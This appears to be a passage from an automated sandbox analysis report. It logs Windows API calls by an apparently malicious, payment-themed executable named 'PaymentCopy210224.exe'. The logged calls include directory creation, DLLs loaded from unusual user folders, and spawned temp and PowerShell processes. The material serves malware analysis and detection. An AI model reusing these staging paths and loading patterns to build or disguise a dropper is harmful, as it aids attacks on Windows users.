00000000-00005476)29:T768,"PaymentCopy210224.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %TEMP%\ (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryW" with parameter %WINDIR%\resources\0409 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter C:\Users (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter C:\Users\%OSUSER% (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\ordrepotentialers (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\ordrepotentialers\Underrooted (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %TEMP%\nsl97DC.tmp (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter C:\ProgramData (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\Microsoft (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\Microsoft\Windows (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\Templates (UID: 00000000-00005244) "PaymentCopy210224.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\Microsoft\Windows\Templates\berent (UID: 00000000-00005244)2a:T3518,"PaymentCopy210224.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %APPDATA%\Microsoft\Windows\Printer Shortcuts\Selvtilstrkkelig.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\RichEd20.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %APPDATA%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %USERPROFILE%\likingly\Hamps.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %APPDATA%\Microsoft\Windows\Printer Shortcuts\flagsmykkes\unconformable.dll (UID: 00000000-00005244) "PaymentCopy210224.exe" called "LoadLibrary" with a parameter %TEMP%\nsl97DC.tmp\nsExec.dll (UID: 00000000-00005244) "nsCCE1.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005648) "nsCCE1.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005648) "nsCCE1.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005648) "nsCCE1.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005648) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\8229f0505633d4bcef019b9d4fab9f18\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management.A#\84c47b5a5813a5f040aee9715a0ff7c0\System.Management.Automation. (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Core\bd9ff1a4363781a57e8f7392f230a203\System.Core.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\49cae79ac18bad142e1ab5a46a8ac306\Microsoft.PowerShell.Commands (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Configuratio#\d6acc39f6c1ea42d8b3150db6184a969\System.Configuration.Install. (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.WSMan.Man#\7bf5729401cff7ea7898124e9818ed20\Microsoft.WSMan.Management.ni (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Transactions\fec007ea17ac8956cc5d6d4074dada6a\System.Transactions.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\f1831ce4588265a3f72e0a581ba58f2a\Microsoft.PowerShell.Commands (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\344e681515d07b93a4f1383f0d625e1e\Microsoft.PowerShell.Commands (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\Microsoft.PowerShel#\573750f17b5b8316f04a10956fdd1d97\Microsoft.PowerShell.Security (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\culture.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\en\mscorrc.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Xml\77c1dc46ea139bf5e1eaa9b87ef03c7a\System.Xml.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Management\00c2b464e52d4e82c04d61592a12a89d\System.Management.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.DirectorySer#\237ed1739105c1bebe48d41905fdb3ee\System.DirectoryServices.ni.d (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_32\System.Data\511c39d1efa06d262a6b2f47e2726c73\System.Data.ni.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\diasymreader.dll (UID: 00000000-00005476) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00005476)2b:Taeae,"PaymentCopy210224.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetFileVersionInfoA (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter NotifyWinEvent (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter ExecToStack (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005244) "PaymentCopy210224.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005244) "nsCCE1.tmp" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005648) "nsCCE1.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005648) "nsCCE1.tmp" called 